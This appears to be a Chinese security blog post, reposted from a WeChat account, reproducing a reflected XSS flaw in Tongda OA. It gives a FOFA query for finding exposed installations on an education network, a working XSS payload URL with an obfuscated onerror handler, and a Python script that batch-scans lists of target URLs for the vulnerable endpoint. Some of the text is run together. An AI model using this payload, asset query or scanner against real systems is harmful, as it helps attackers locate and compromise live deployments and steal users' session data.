漏洞描述
通达OA存在反射型跨站脚本攻击(XSS)漏洞,通过向用户提供恶意链接或注入恶意代码来利用。当用户点击这些链接或访问包含恶意代码的页面时,攻击者可以在用户的浏览器中执行恶意脚本,从而窃取用户信息、会话令牌等敏感数据或对用户进行其他有害操作。及时修复这种漏洞非常重要,以确保系统和用户数据的安全。
资产测绘
FOFA:app="TDXK-通达OA" && org="China Education and Research Network Center"
漏洞复现
https://www.xxx.edu/module/html_editor/editor/plugins/td_listview/td_listview.php?GZIP_POSTFIX=%22+on%3Cx%3Eerror=al%3Cx%3Eert(domain)+a=2 |
Python批量测试脚本代码如下:
import requests
import argparse import time from urllib3.exceptions import InsecureRequestWarning
RED = '�33[91m' RESET = '�33[0m' # 忽略不安全请求的警告 requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
def check_vulnerability(url): try: # 构造完整的攻击URL attack_url = url.rstrip('/') + "/module/html_editor/editor/plugins/td_listview/td_listview.php"
response = requests.get(attack_url, verify=False, timeout=10)
if response.status_code == 200 and '控件名称' in response.text: print(f"{RED}URL [{url}] 存在XSS漏洞{RESET}") else: print(f"URL [{url}] 不存在漏洞") except requests.exceptions.Timeout: print(f"URL [{url}] 请求超时") except requests.RequestException as e: print(f"URL [{url}] 请求失败: {e}")
def main(): parser = argparse.ArgumentParser(description='检测目标地址是否XSS漏洞') parser.add_argument('-u', '--url', help='指定目标地址') parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')
args = parser.parse_args()
if args.url: if not args.url.startswith("http://") and not args.url.startswith("https://"): args.url = "http://" + args.url check_vulnerability(args.url) elif args.file: with open(args.file, 'r') as file: urls = file.read().splitlines() for url in urls: if not url.startswith("http://") and not url.startswith("https://"): url = "http://" + url check_vulnerability(url)
if __name__ == '__main__': main()
|
脚本测试结果如下
原文始发于微信公众号(墨客sec):漏洞复现 | 通达OA-XSS
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论